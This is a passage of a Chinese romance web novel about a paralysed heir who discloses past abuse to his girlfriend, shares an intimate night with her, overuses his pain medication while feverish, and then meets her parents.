傅瑾承的手渐渐攥紧,那只手背上的青筋绷起,他的声音沙哑得像是被粗粗拉过的琴弦:“是我没有保护好你。” 他的这个布局已经布局了三年,直到觉得快要胜利、直到觉得自己已经是在快没有活下去的欲望时,他才铤而走险,去见了宋知念。 “念念,” 傅瑾承的声音低落,他蹭了蹭宋知念的脖颈,将冰凉的脸埋在她脖根处,呼出的热气时不时沾湿着宋知念的皮肤。 “我有时候,真的觉得自己已经快死了。”傅瑾承突然笑了一声:“其实出了车祸之后我也想死,但是想到祁安斗不过他,我才只能靠着极端的恨,和那些对你的爱,勉强地活着。” 但也仅仅只能说,是活着罢了。 行尸走肉、苟延残喘、满身狼藉地活着。 “其实如果不是打算从吴刘两人下手,我的速度本来还能快一些。”傅瑾承在宋知念的脖颈处,深深地深呼吸了几次:“你不知道…你不知道他们……” 三年前的那一幕在他的脑内徘徊着,那天的场景在想起之时都令傅瑾承忍不住咬牙切齿。 “慢慢来说。”宋知念给他顺了顺气:“不着急。” 那些记忆之中的回忆是如此的痛苦,除去伤病的痛苦之外,更多的却是从未宣之于口的心灵的至痛。 这些事情,他从未对顾书屿和傅祈安说过。 “三年前,那时候我还在ICU里面。” 傅瑾承在宋知念的安抚下,终于能够开口,他自嘲的笑了笑说道:“我当时不知道自己还要在那里住多久,我痛的浑身难受,也分不清白天黑夜,每日只能靠着止痛和镇定的药物浑浑噩噩的度过每天。” “痛到了极点的时候,我在想,等我出了监护室,我一定要来找你。” 无论她能不能接受这样的他,无论她会对他露出什么表情,他都想来见她。 但是所有的一切,都在那一天被打破了。 “那天我迷迷糊糊醒来,难得地见到旁边围了几个人。”傅瑾承的声音之中已经带上了痛苦,这段回忆对于他来说尤为惨痛, 痛苦到即使只是提及,他都控制不住自己的颤抖。 床头的角度是三十度的夹角,正好能让傅瑾承看到面前的人。 那些人是他的父亲,还有他从小喊到大的刘叔和吴叔。 他们三人此时正围在他的床边,不知道说着什么。 才从浑噩中醒来的傅瑾承一时没有反应过来,直到他眼前的视线渐渐清晰,他才看清楚面前的景象。 他身上的被褥已经被他们掀开,视线内只看到了白色的被褥被堆叠在他的腰间,他的下半身毫无遮挡,臭味肆无忌惮地在空气中弥漫着,他从小叫到大名为吴叔的男人,似乎还蹲下身捏了捏他的腿。 傅瑾承一辈子都记得,吴叔起身后看着他的那个笑容。 那是贪婪、色欲,还有高高在上的藐视。 傅瑾承的身体还在颤抖,宋知念没有忍住,骂了一句脏话。 变态,扭曲。 宋知念暗骂自己一声,她早就已经知道傅瑾承的自厌,那天再见到他的时候,除去那些跨越三年的爱与恨,就连她都忍不住感慨傅瑾承的变化之巨。 但她完全想不到,在傅瑾承身上,竟然发生过这样的事情。 “畜生!他们是畜生!” 宋知念抱着傅瑾承的手都抓紧了些,她早就听父母还有好友说过有些高管身上总是有变态的喜欢,喜欢折磨别人。 她的话中都带上了哽咽:“傅瑾承,你蠢不蠢啊!这种事情,你为什么不和我们说?” 她被瞒着、傅祈安顾书屿被瞒着,如果不是因为今天她碰上了傅行止,傅瑾承究竟要过多久才会把这些事情告诉她们? “我怕……”傅瑾承抬起头,他的手撑在地上,微微拉开了些和她的距离。 说出这些事情的傅瑾承满脸惨白,他摇摇晃晃的,脸上露出一个比哭还难看的笑容: “我怕,你觉得我脏。” 他身体的排泄本来就要靠导尿、靠开塞露才能完成,他的身体已经够脏了,他不想让宋知念知道,他连灵魂都是脏的。 傅行止是个优秀的猎人,他希望将傅瑾承打压得再也抬不起头,再也无法逃离他的手掌心,再也无法与他争锋。 他要让傅瑾承,从灵魂到身体,彻彻底底地丧失尊严。 “你不脏。” 宋知念哭着摇头,她像是打拨浪鼓一样,甚至连身后的长发都已经扫到了他的身上, 她捧着他的脸,往自己的身后移了移,这样的姿势也并不方便,宋知念干脆将脚放平,仰躺到了地面上。 因为宋知念的动作,傅瑾承直直地趴在了她的身上,她的两腿一伸,正好能将他的腿顶在自己的腿上。 那两条腿软绵绵的,时不时便会从她身上滑下,宋知念无法,她干脆圈起腿,将他的腿固在自己的腿间。 她的泪水如同决堤了一般,从她的脸颊上滑落。 “别哭了,念念。” 傅瑾承用一只手撑起自己的身体,一只手艰难地给她擦去眼泪:“我不值得你为我这样哭。” 他的恨不会消散,但是随着那些人一个个被带走,傅瑾承的恨在那些人做的事情面前、在那些官商勾结鱼肉百姓的事情面前,似乎是多么微不足道的事情。 “我没事了,真的。” 他柔声哄着她,又因为左手很难够到右脸,他只能侧别的身子,想要给她擦拭眼泪。 宋知念看着面前姿势别扭的傅瑾承,终于哇的一声哭出了声,她抓着他的领口,哭得凄厉。 “他怎么能…他们怎么能……” 她放在心尖之中的人,到底一个人都扛下了什么? 第59章 第59章“我也想亲你。” 傅瑾承用一只手撑起自己,眸光含痛,深深地凝望着她。 她狠狠地着他的衣领,像是在发泄着什么,那些微咸的泪珠从她的脸上滚落,脸上的是他从未见过的悲痛。 “念念,别哭了。” 傅瑾承叹了口气,他垂下头,将那些滚落于她脸侧的泪水一点点吻吮干净。 那些泪珠带着微咸,傅瑾承顺着泪水滚落的痕迹吻去,直到到了她的眼眶边才停下。 她的眼中之中还有泪水,见他凝望着自己,泪水不受控制般地流下。 傅瑾承再次低下头,将这滴滑落在脸颊上的泪水吻去。 那些痛楚未曾消散过,但是她的泪水似乎将那些痛楚包裹了起来,阻碍了那些痛苦的蔓延。 他这次并没有在顺着泪水滚下的路径前进,他的吻一点点往下,从唇畔到下颌,再到她的脖颈间。 再往下,就是裸露的肌肤和衣领的交接,单薄的布料将她身体曲线勾勒完全。 傅瑾承的手撑在她的两侧,从她的胸口处抬起头,在宋知念的注视下,他将吻落于她的唇边,喃喃道: “我想亲你,念念。” 他想亲她,想将她完全揉与自己的怀内,想要将自己有身体感知的那些部分牢牢地紧贴着她,想要将自己满腔的酸涩与爱意,拨开展现于她的面前。 “嗯。” 宋知念抚摸着他的耳侧,她的眼泪已经被他悉数清扫干净,她抬起了手,将他勾了下来。 “我也想亲你。” 宋知念抬起了头,率先将自己的唇吻于他的唇上,用舌尖去细细勾勒他唇齿的轮廓。 她在安抚他,但也在用手一点点去唤醒他身上肌肤处那些沉寂的欲念。 被她手滑过的地方,欲望如同被完全点燃一般,傅瑾承闷哼了几声,他的唇渐渐只留唇齿在这里流连。 但他的手却不像是受到什么引诱一般,从她的衣摆之间钻了进去,微凉的手掐着她的脚踝,在顺着吻的深/入时,慢慢地向上移动着。 宋知念察觉到了他的动作,客厅之中虽然没人,但是宋知念并不愿在这一处进行下去。 她翻了个身,手覆盖在他的脑后,小心地将他翻于地毯上压在自己的身下,她跪坐于他的腰腹间,留恋的摸了摸他的脸,安抚着脸上有些不满的他道: “我们去楼上。” 傅瑾承这才睁着眼看了看他的四周,注意到自己还在客厅之中,他嗯了一声,对着宋知念伸出手。 “念念,我起不来了。” 傅瑾承乖巧地说,他脸上的欲念未曾消散,这两种相反的情绪混合在一起,宋知念怎么看怎么觉得有趣。 “好。”她俯下身,在他的鼻尖亲了一口:“那你抱着我,我抱你先坐起来。” 傅瑾承点点头,手抱住她的肩膀,一起坐了起来。 坐起来后,后面却是更加难办。 傅瑾承会从床到轮椅的转移,但是轮椅和地板之间有些高度差,他试了几次想把自己先转移到旁边的沙发上再转移到轮椅上,但是都无济于事。 他的尿袋随着两人前面的动作已经平坦的铺在了地上,黄色的液体随着他的动作正在翻涌着,好几次甚至差点和他自己的大腿缠绕在一起,看得宋知念有些心颤。 “我去叫护工。” 她起了身,想要去喊护工,却被身后的傅瑾承拉住。 “我不想叫,念念。”傅瑾承望着她,摇了摇头,见宋知念脸上露出担心,他摇摇头道: “最起码,这一次让我试一下。” 他带着尿袋的样子已经足够的滑稽,他不想在和心爱的女孩子亲热的时候,还要找人来帮自己抱到轮椅上。 宋知念犹豫了片刻,在傅瑾承恳求的目光下败下阵来。 见宋知念坐回到沙发上,傅瑾承笑了笑,他将背部靠在沙发的侧边,两只手压在沙发垫上,用力一撑,摇摇晃晃的。 他刚已经撑了几次,但是都因为脚使不了力气,重心不稳的缘故倒了下来。 宋知念正坐在沙发上,她从傅瑾承的身 后抱住傅瑾承,正巧傅瑾承也一个用力,两个人一起撞在了一起,一起仰躺在了沙发上。 他躺的四仰八叉的,小腿还在空中晃动着,上半身成了个大字形展开着。 宋知念实在没忍住,翻过身,凑在他耳边亲了亲,笑出了声。 “念念。”傅瑾承有些羞恼,但他只是无奈地看了眼宋知念,自己却也是和她一起笑了起来。 “这算不算是第一次从地上自主转移到沙发上?”宋知念笑完了问。 傅瑾承点点头。 这确实是算他第一次完成高低差的转移,他还没来及得高兴,就听到了宋知念的笑声。 “我错啦。”宋知念侧抱住他:“我们上楼吧。” 从地上转移到沙发是难,但从沙发转移到轮椅上却简单了许多,这一次傅瑾承都不需要宋知念的帮助,他转移到了轮椅上,宋知念帮他扣好带子,整理好尿袋,干脆坐到他的身上。 他的腿侧还有伤口,宋知念避开了那些伤口,环着傅瑾承的脖子,在他的喉结上啄了啄,笑着说:“走吧,傅学长。” 傅瑾承的轮椅开得很快,他抱着她冲进电梯,又一路急急忙忙地开到了三楼。 宋知念帮他解开了束缚带,被他抱着送到了床侧,她坐在床上,晃着脚俯下身去亲他。 她亲的毫无规律,像是单纯有趣的模样,一会亲他的鼻尖、一会亲他的额头、一会又转瞬即逝般地滑过他的唇、将吻落在他的耳侧。 傅瑾承被她亲吻的撩拨着发出几声喘/息,他欲求不满一般地抓住她的腿。 宋知念被他的动作吓了一跳,俯身想要拦住他,却被他拉得更加用力。 “干嘛呀。”宋知念甩甩腿,试图挣脱:“没洗澡,脏呀。” “不脏。”傅瑾承拉着她的脚踝,像是虔诚的信徒一样,从她的脚踝处往上细细吻着。 那些吻密密麻麻的,在她腿侧白皙的皮肤上留下一个个红色的吻痕。 宋知念躺靠在床上,眼前透过水雾还能看到窗外的夕阳。 落日下的潮水不断的拍打着岸边,后浪推着前浪,浮浮沉沉的,如同漂浮在水中的一叶扁舟,只能对着浪涛而翻滚着。 这种感觉太过于奇妙,如同在深海的无依无靠之中,他们互相在冰冷的海水当中触碰到了对方的温度。 灵魂在此时发出着震颤。 “阿承……你上来……” 傅瑾承听话地爬了上来,他抱着她的身体,时不时亲一亲她的脖颈,等待宋知念平静下来。 “念念。”他笑着问她:“舒服吗?” 过了一会儿,宋知念终于平静下来,翻了一个身,手搭住他的肩膀,将他抱住,低低的“嗯”了一声 他们此时已经躺在床头,两人身上的衣服都完好无损,宋知念在傅瑾承身下压了几个软枕,爬到他的身上,让他半靠着看着自己。 “傅瑾承,该轮到我了。” 她学着他刚刚的样子,从他的唇边开始亲吻着,顺着他的脖颈往下,直到衣物的交接之处。 她的手碰上了他衬衫的领口,在傅瑾承的注视下,宋知念从牙齿一个个咬开扣子,从胸口到腰部,将他的衬衫大敞,狰狞的疤痕赤裸裸的暴露在两人的目光之中。 傅瑾承胸口以下都是没有感觉的,宋知念也没有犹豫,她将重点放在他胸口处的位置,又拉过他的手,将他的手放在了自己的衣摆下方。 带着凉意的皮肤和温热的皮肤一接触,两人都是浑身一颤,她碰上了他的脸,加深了这个吻。 “傅瑾承,阿承。”宋知念变着调子喊他的名字,傅瑾承的手在她的腰间徘徊着,只能彷徨着如同迷路的人一样不断地呼唤着她。 “念念,念念……” 他只有胸口去还有知觉,身体感觉的缺失让他只能止步于于亲密无间的拥抱与亲吻之中,傅瑾承迫切亲吻着她,想要从她的身上汲取那些来自深海冰冷之中的温暖。 混乱中,他看到自己那根透明导尿管还在他黑色的布料间突兀的横着。 傅瑾承的余光看到了一道白光,他像是被吓了一跳,他觉得眼前的白光是那样的刺眼,刺眼到像是光骤然照进了深海的黑暗之中。 傅瑾承不知道宋知念想要做什么,她能在自己身边,她能够快乐,他就已经很满足了。 他只能胡乱的伸手抗拒着:“别看,念念……别看!” 瘫软的下肢,萎缩的腿部肌肉,一切都是那样可怜又丑陋。 但是宋知念已经找到了她正在寻找的地方。 “是这里吗?”她抬头问他。 那侧的皮肤和其他地方似乎有些不一样,白中还泛着红色的血丝,一副格格不入的样子。 这处的泛红不是生理原因,一眼看去都还能在上面看到些百七扭八的指痕,想都不用想,便知道是他自己掐的。 他恨那些人,但他更恨自己。 “我不知道……我不知道……” 他确实是不知道的,那时候他看不清他们的动作,自己也没有感觉,只能把这一处的皮肤当作自己的发泄口。 傅瑾承迷离地看着宋知念,他知道了宋知念想要做什么,他想要拉住她,却被她的手抓住,一起放在了那抹泛红的位置。 他的指尖率先感到了她唇瓣的温热,再然后,他唇瓣上的热意渐渐散去又重新出现。 傅瑾承知道,她在亲他,在亲他最为侮辱的身体和皮肤。 “念念……”他心中大恸,等到宋知念重新上来的时候,只看到了他带着悲伤的笑容。 “我……”他想说我不值得、想说我真的很恶心,他就是因为什么都感受不到,才能在无人的时候,去狠狠地对待自己大腿内侧的皮肤,去缓解一些痛苦。 但是话都没来急得出口,却被宋知念拦下。 “嘘。” 宋知念抱着他,脸靠在他的耳侧,悄声说:“我已经帮你清洗干净了。” “以后当你在想时,应该想到的不是那些人,而是我。” 是她亲吻了他,将屈辱变成了爱意。 第60章 第60章“别走。” 这个夜晚,宋知念睡得并不好。 她总是听到旁边传来的轻声的呻吟,她迷迷糊糊地被那些痛苦的闷哼声惊醒,却感到自己靠在一个绵软的怀中。 宋知念愣了愣,随着思绪渐渐回落,她总算明白自己身下的绵软究竟是什么。 她随后猛然惊醒,撑起了身子开灯,去看傅瑾承。 “阿承?” 宋知念柔软的腰肢趴到傅瑾承的身上,她拍了拍他的脸颊,却见他一副被梦魇住了模样,满脸苍白,眉间紧蹙,上齿紧紧咬着下唇,干涸的唇上已经有了些血丝。 她不免有些担忧,只能喊着他的名字。 真丝的睡裙从她的胳膊上滑落,柔软的布料勾勒出两人相重叠在一起的曲线。 身下的温度和平日之中的温凉不太一致,宋知念心下觉得有些不对,摸了摸傅瑾承的额头感受着他的体温。 手背刚刚碰上他的额头,宋知念便感受到了手背的炽热。 他果然发烧了。 宋知念翻了个身,刚想要去按下床头二十四小时的铃声,却感觉自己被人抱住。 “别走。” 傅瑾承迷迷糊糊地说,他将头埋在她的怀中,蹭了蹭她,一副和昨晚一样的模样。 宋知念本来并没有留宿在这里的计划,她的家里本来就有门禁的限制。 但情迷意乱的傅瑾承被欲念裹挟着,却找不到发泄口,他只能像一只求抱抱的猫猫狗狗赖在她的怀中不愿下来,毛茸茸的脑在她的腰间胸口脖颈一直蹭着,时不时在亲亲她的,像是在努力的压下些自己身上的欲念。 宋知念无奈,干脆在林芸的尖叫声之中和林芸通了气,又和父母解释了今天晚上先住在林芸家,这才转身回抱住了傅瑾承。 她本来还以为傅瑾承家会没有她的东西,但是直到她按管家的方法打开主卧的旁边的小门,才发现里面通向的是另外一 间女式衣橱。 这间更衣室里的衣服琳琅满目的,堆满了她常穿的几个牌子的今年的新款,旁边的首饰拉开,也已经满满当当地铺满了两三层。 宋知念怕傅瑾承久等,就从睡衣之中随便抽了一条,跑回了房间外。 这间更衣室旁其实还有间卧室,傅瑾承本来考虑着自己晚上要翻身的缘故,想让宋知念睡在单独的旁边的卧室之中,却被宋知念白了几眼之后不再说话。 “阿承,你发烧了。”宋知念的内心之中充斥着庆幸,如果不是她当时决定安抚一下傅瑾承,到现在她也发现不了傅瑾承生病。 宋知念轻声道:“我让医生上来给你看看。” 傅瑾承在她的怀里摇了摇头,他的声音还有些模糊和困意,像是带着被打扰了睡眠的不满:“正常的,念念。” 他的手又黄她圈得紧了些,用鼻尖嗅嗅,确认她在自己身边,又安心地往她的怀里埋了埋。 “是昨天情绪问题加上晚上有些着凉,没事的。”傅瑾承含糊着安慰着她:“我已经发烧发习惯了,这点低烧没什么关系。” 傅瑾承经常会夜间发低烧,药也吃了针也打了,最后也只能归咎一个情绪问题和半夜着凉。 他的嘴上是这么说的,但是俯在她怀中的肩部却在不停地抖动着,宋知念还是觉得不对,她抬起手,将他的脸捧起。 见到傅瑾承的模样,宋知念忍不住倒吸了口凉气。 他的脸色在这么短短的时间内骤然惨白,脸颊上的肌肉都在用力,似乎在一起和他抵御着痛苦。 “阿承,你哪里难受?”宋知念用手拭去他脸颊上的冷汗,她现在是他侧着面对面躺着,脚还钩着他软绵绵的腿脚。 “痛。”傅瑾承终于痛得有些受不住,他吸了口气,靠在她的肩头:“我好痛。” 现在让他最难熬的,还并不是发烧。 发烧的温度滚过来了他的全身,将他浑身的神经灼烧的滚烫,针一般的刺痛顺着他的神经密密麻麻地扎向他的前身,他的浑身像是被人割开,又被重新缝起,一遍遍地循环往复着。 以往还能在黑暗之中独自忍受的痛苦,在此时却分外明显,傅瑾承喘着气道:“给我四颗粒普瑞巴林。” 宋知念赶忙起了身,在床头的盒装药之中找到了白蓝色的盒子,她刚想给他按四颗,却感受扶着自己的手突然松开,从她的手中拿去了那一板药。 他熟练地将手按在药板上,一次一颗,却没有按照和宋知念说的四颗,而是一口气往自己的口中按了五六颗药。 “你你你……” 宋知念来不及责怪他,只能扶起他,让他先就着自己的手喝了好几口水,直到将口中的药都吞咽下去,方才将杯子放到一边。 她听谢医生说过,傅瑾承对很多药都已经有了耐受性,最严重的时候,就连**都对他没了什么作用。 宋知念的爷爷就是癌症走的,她非常清楚这种药的止痛作用和副作用。 “对不起,念念。” 药物在他的身体内并不会马上起到作用,但是已经比一开始的模样看上去好了些,他重新抱住宋知念,模模糊糊道:“但是我好痛,多吃一些能舒服一些。” 这个药的副作用除了身体其他肠胃部分之外,还有就是头昏头痛,虽然他已经有了些耐药性,但是剂量只要上去就还能止住痛。 “那你也不能这么吃呀。”宋知念叹着气,拿了纸巾给他擦了擦嘴角的水痕:“你这样对身体不好的。” 傅瑾承没有说话,他只是抱着她,摇了摇头,像是在展示自己的不满。 “你就会撒娇。”宋知念抱怨道,他似乎已经发现了,只要他露出那些不舒服或者难受的表情,宋知念就对他也没有什么办法,只能心软。 但是吃药不是小事。 “我问过谢医生了。”宋知念抚摸着他的后脑勺,指责道:“他说最近的脑机接口实验已经准备进入临床试验了,你这样乱吃药,要是后面还没做上实验就先药物依赖了怎么办?” 他本来身体就不好,这么瞎折腾下去别说撑到能做实验了,自己先把自己折腾坏了。 傅瑾承疼得眼前正在一阵阵地发黑,刚刚吞下去的药物也正在将药物流到他的四肢之中,他的思绪也是清明一阵、混乱一阵。 “可我好痛。”他睁开眼,抬头看着她,声音之中带上了不满道:“念念,你为什么不安慰我。” “我在安慰你呀。”宋知念有些哭笑不得,她凑上去逗他:“看你还有力气说我,现在是不是稍微好点的?那我们先把翻身翻了?” 她看了看时间,现在是凌晨一点,按照谢医生的吩咐,这时候应该到了傅瑾承翻身的时间。 傅瑾承一开始不想让他和自己睡的原因,自然就是因为翻身,现在听到宋知念提到这件事情,即使带着神经痛,傅瑾承也不乐意,他的一只手伸出,摸索到自己的身后方,一把扯出枕头道:“这样算是平躺了。” 说完,他把宋知念拉到了自己的身边,有些赌气道:“睡觉。” 宋知念有些无奈地躺平,她干脆侧抱住傅瑾承,一个用力,将他的上半身抱在自己的怀里。 傅瑾承感受到了她的动作,他默不作声地伸出手搂住她的脖颈,把自己往她身上拉了拉。 他的腿还掉在下面,宋知念伸出脚,勾住他的瘫软的脚,将他的脚勾至自己身上,用两腿先圈着他的,帮助他稳定住身体的稳定。 傅瑾承借着宋知念的力道又挪了挪,他拉了拉自己下垂的导尿带,最后完全趴在了她的怀中。 “重不重啊。” 傅瑾承靠在她的脸侧,他的呼出的气息要比她滚烫许多,湿湿热热的,他的身上一直在痛,但是待在她怀里的感觉比在被褥当中舒服太多,令他光靠想象都能眯起眼。 “不重,”宋知念亲亲他的脸颊:“睡吧,我给你按按背放松一下,你这样我能随时感受到你的温度。” 傅瑾承总是喜欢瞒来瞒去的,还不如直接把他抱在自己的怀里,有什么变化都瞒不过她。 宋知念将手抚摸上傅瑾承的背,他上背部的肌肉紧绷着,尤其是靠近肩膀的这一处肌肉,她顺着他的背部按下去,再到他的腰肢,给他放松着背部的酸胀,也试图帮他缓解一些那摸不着却又是止痛无比的神经。 “念念。”傅瑾承感受着她的手时不时出现在他的背部,又时不时消散的触感,他叹了口气,问道:“你真的觉得,我能等到,脑机接口技术成果的那一天吗。” 宋知念的动作停住了,她抬眼看着他,却看到傅瑾承眼中是她看不懂的浓郁的黑色。 黑压压的,如乌云压顶,像是那个她从未见过的傅瑾承。 那个在公司之中,不苟言笑、肃冷清隽的傅总。 他却突然笑了笑,打破了这般诡异的氛围。 傅瑾承将脸靠在了她的肩上,像是认命一般倦怠道:“算了,睡吧。” 怀中的人呼吸渐渐地悠长,宋知念小心地侧翻过身,用抱枕取代了自己的位置。 她从床头爬到床位,就着月光,掀开了被子。 用沙袋抵住的脚,那骨骼突起的脚踝和纤细到异常而蜷曲的小腿。 她还记得他意气风发的模样,可此时,却在他的身体中找不到一点曾经的模样。 宋知念抱住了那双腿,眼泪无声地从眼角之中流出。 她想,她知道他更想。 ——再一次站起来走起,再一起拥抱住奔跑而来的她。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第61章“念念,这位是……”…… 乐极自会生悲。 宋知念从来就是个坚定的唯物主义者,但是有时候事实的巧合总是令她相信玄学的存在。 比如,读书时候一玩手机父母就进来查房、比如读书时上课一睡觉外面就悠悠出现老班的脸。 再比如,在偷偷夜宿傅瑾承家的一周后,宋知念趁着夜色从人家家里悄悄从后门溜回家,一抬头就是父母看着自己微笑的脸。 和蔼、温和,却露出了一副心知肚明的模样。 宋知念被父母笑得不由自主后退了一步。 宋父皮笑肉不笑,像是调笑一般问:“哟,我们家姑娘这是打哪来啊。” “打人家家里来呗。” 宋母白了宋知念一眼,代替她回答了这个问题:“姑娘家的矜持全被我们家这 个祖宗忘光了,天天往人家家里凑,不知道的还以为地里的白菜长腿了,自己会跑到猪圈里了。” 宋知念:…… “这个,”宋知念弱弱地伸手辩解:“只是最近去得多了些……” 那天晚上之后,宋知念倒是知道了傅瑾承一个不舒服熬不住痛就会过量服药的事情,她一边让谢医生他们把药瓶看得更牢了些,一边自己也时不时从店里回来之后突击检查,时不时抽查傅瑾承的药品。 但马上快到十月,又到了旅游旺季,她店里时不时也出现人手不足的情况,虽然也招募了新的勤工俭学大学生,但也还在培训之中。 “这段时间?”宋母可不信:“那这三天每天晚上从人家院子回我们自己家的是谁?” 宋母已经好几次站在楼上看到楼下一个身影鬼鬼祟祟的从后门进来,一开始她还以为是家政人员工作日偷偷溜出去玩了,定眼一看才发现,原来是自己家的姑娘。 “那……”宋知念自己都说得有些心虚:“那也是因为最近店里比较特殊嘛……” 高雅琴最近在研究咖啡师教学,她在教大学生学习咖啡师的一对一指导之中品味出来了乐趣,以前她空有资质但是只专注于自己的小店,但加上最近她的咖啡师朋友因为丈夫出轨的问题同样离了婚,她在朋友的带领下,也开始着手了解咖啡师培训的流程。 宋知念也觉得高雅琴这个想法不错,打算干脆拓宽店里的业务,在附近单独开一家店,由高雅琴的朋友主要牵头,专门从事咖啡师的培训和教学以及公司下午茶团建。 最近看新店面、招聘兼职老师都花费了她们一番功夫,白天去店里后,往往店里没待多久,就要去社区谈咖啡师夜校培训合作,或者是去看新店面。 因为白天去的少了,宋知念也就只有吃了晚饭后或者用了早饭后到开门的这段时间去找傅瑾承,活生生地将自由职业活出了一丝上班打卡的意味。 这段时间,她也以店里为借口,几乎罔顾了门禁的存在,往往都是卡着门禁的时间,才会偷偷摸摸回家。 这么干了几天,就被敏感的父母察觉到了。 “天天去人家家里,怎么也没见人上咱们家的门?”宋母抱着手,没好气道。 宋知念的手搅了搅上衣,真丝的布料在她手中被揉出各种各样的形状:“这个,他也不是不想来,只是他的情况有些特殊。” “怎么个情况特殊了?”宋母的语调都拉高了,显得 尾音尖锐了不少:“特殊到只能让自己女友去找他?” 自从知道对面那房里面住的是傅家的大公子后,宋母的担心少了不少,她虽然和傅家接触不多,但也听过女眷之中对于傅家那位神龙不见尾的大公子的夸赞。 在那位大公子还没有完全消失在世人面前的时候,他在商业手段上的雷厉风行和他待人接物为人处世的周到,都广受女眷的好评。 虽然听起来人不差,可毕竟这人消失在众人面前已经太久,现在是高的矮的胖的瘦的都不知道。 加上他们两家一个是盘踞杭城多年盘根错节的大族,一个只是突然起家的家庭,傅家董事长也是个那般的个性,宋母还是有些为之担忧。 “他的身体有些不方便。”宋知念犹豫片刻,思索了下,和父母含含糊糊道:“他之前受了些伤,在脊椎上。” 宋父宋母一下有些还没反应过来,宋知念趁母亲不备,拉住了宋母的手,撒娇道:“我让他自己思考清楚是我来说还是他来说,可以吗?” 关于傅瑾承的身体,宋知念还没想好要怎么和父母开口。 她爸妈虽然已经算是足够开明的人,但是宋知念无法一言断定他们能够完全接受。 宋父宋母对视一眼,宋母点头道:“那也行。” 宋知念还来不及高兴,便听到母亲威胁道:“但是在你们不想清楚之前,你先别给我去见他了。” ——啊。 此话一出,宋母满意地看到了宋知念微张嘴惊讶的表情。 她敲定道:“就这么决定了。” “妈妈妈妈妈妈。”宋知念的一个妈妈喊出来了不同的声调,她扑上去撒娇道:“妈妈,不能这样,他也不是故意的,实在是身体原因。” 她的手臂被宋母无情地拉开,宋知念只能眼睁睁看着电梯门在她面前关上,她回头看了眼自己的父亲,却看到宋父对她摊摊手,一副无可奈何的模样。 宋知念气鼓鼓地回了房间,但还是记得和傅瑾承约定,开了视频。 视频一打开,傅瑾承就看到了宋知念半躺在沙发上,满脸不开心的模样。 “怎么了?”傅瑾承嘴角上挑,笑着安抚道:“是不开心吗?” 宋知念哼哼唧唧几声,把刚才父母的对话和傅瑾承复述了一遍,她模仿的惟妙惟肖,就连母亲生气时候刻意上挑的尾调都被她完美演绎了出来,而演绎完后,她就像是个被戳了气的河豚,蔫不拉几的靠在床上。 傅瑾承听得明白,他原本在嘴角的笑意渐渐地开始散去,像是陷入了思考之中。 “阿承。”宋知念抱着枕头,在傅瑾承面前翻了个面,她趴在枕头上,懒洋洋地问:“要不我和我爸妈说一下,等过段时间再说?” 她现在还能再拖一会儿,也能把林芸她们拉出来当挡箭牌,但是她能拖一时,也拖不了太久。 宋知念摇摇头,觉得这个主意不行。 “那要不,我们假装分手?”宋知念像是想到了什么好主意一样,抱着枕头翻身坐了起来,她对着傅瑾承眨了眨眼睛:“假装分手玩地下情,你觉得怎么样?” 傅瑾承得脸的确有些不好看,他压低了声音,但是还能听出里面的不满:“不怎么样!” 他才不要因为这些奇葩的理由和宋知念分开,即使手明面上的分开,傅瑾承也觉得自己无法接受。 “好吧。”宋知念有些遗憾,枕头被她戳着凹下去一个洞,又随即复原:“我本来还觉得蛮有趣的。” “一点也不有趣。”傅瑾承斩钉截铁地说,他给她科普一遍傅氏集团碰到地下情情侣的处理方案,又给宋知念讲了上司婚内出轨下属净身出户地案例,这才将宋知念的心给安抚下来。 背后说过下属坏话,甚至把傅祈安没事给他讲的八卦全部复述一遍的傅瑾承看到宋知念悻悻的模样,终于心下安定了许多。 “没事的念念。”傅瑾承放软声音,轻声哄道:“交给我来处理吧。” “也行。”宋知念想了想,还是觉得不放心,强调道: “不许逞强。” “嗯。” “不开心了一定要说。” “嗯…” “记住,我们阿承很好。” 宋知念看着视频之中的傅瑾承,他侧躺在床上,这么一眼看去,几乎看不出他身上被命运捉弄的痕迹。 她眨巴眨巴眼睛,压下眼角的涩意,她想了很多话,最后还是用了最朴实甚至能称得上的老土的情话:“真的,很好很好。” 视频那头像是卡了一样,终于过了一会儿,才传来了一声低低的“嗯”。 傅瑾承说的解决速度果然很快,当宋知念傍晚从店里回来,正准备去傅瑾承家的时候,却听到外面的门铃响了。 宋知念暗道疑惑,她扫了眼客厅,父母也已经回家,正坐在了沙发上,听到铃声,他们不约而同抬头看了眼宋知念。 她讪笑着去了门口,探头看了眼监控。 监控外,正是傅家的管家。 傅家的管家一般不太会出门,宋知念打开通话设备,让大门边的工作人员先把门开了。 客人 来得很慢,宋知念在父母的目光之中坐回到沙发上,左等等右等等,终于忍不住站了起来。 她没有理会身后父母的目光,干脆开了房门,跑到了门外。 门外,果然是傅瑾承和管家。 宋家的别墅并没有安装无障碍通道,傅瑾承的轮椅上来得有些艰难,宋知念出来的时候,刚刚好推到了第三层。 她扑到了他面前,左看看右看看,还想拉起手看看傅瑾承有没有无意间磕着碰着受伤,却被傅瑾承制止了。 “我又不是玻璃做的。”他有些无奈。 宋知念可不管,她拉起他的手想要反驳,却看到傅瑾承的神色几番变化,最后终于定格在了一丝儒雅的笑意上。 宋知念顺着他的目光回过头去,身后,宋父宋母正捂着嘴惊讶地看着她们。 “念念,这位是……” 第62章 第62章“这是我男朋友。”…… “这是我男朋友。” 宋知念想要拉起傅瑾承的手,但他瑟缩了一下,像是在逃避。 “爸妈。”宋知念没有理会他,她瞪了他一眼扯过他的手,强制性地将他拽住,大大方方地举起手承认道: “这是我男友,傅瑾承。” 宋父率先反应了过来,他拉了拉眼中还有些不敢置信的宋母,示意她回过神来。 宋母被丈夫一惊,马上回过了神,她没有理会身边还在审视傅瑾承的丈夫,她探身招呼着: “念念,你先带傅先……小傅,先进来吧。” 傅瑾承微微颔首,礼貌道:“谢谢伯母。” 室内的空气似乎都有些停滞,几声正常的问候寒暄之后,宋母发现自己也说不太出来其他的话,她求助似的看向丈夫。 “小傅,这……” 宋父接过了宋母的话,他转头看了眼正在忙于出没室内室外手上拎着大包小包的家政:“来就来吧,你这还带这么多东西干什么。” 她们身边,忙碌的宋家的家政正在把傅瑾承带来的礼物一件件摆进客厅,从文房四宝到明前头采、从吃的到喝的,不到一会的工夫,便密密麻麻垒成了一个小丘。 “这是礼数。” 傅瑾承笑笑,歉意道:“作为晚辈,我本来应该早点来拜访您,但前几周因为身体原因才刚出院,所以只能今日冒昧前来,还望见谅。” 说起身体,宋母犹豫了片刻,终于攥紧了手,疑问道: “小傅,你的身体是临时受伤的吗?” 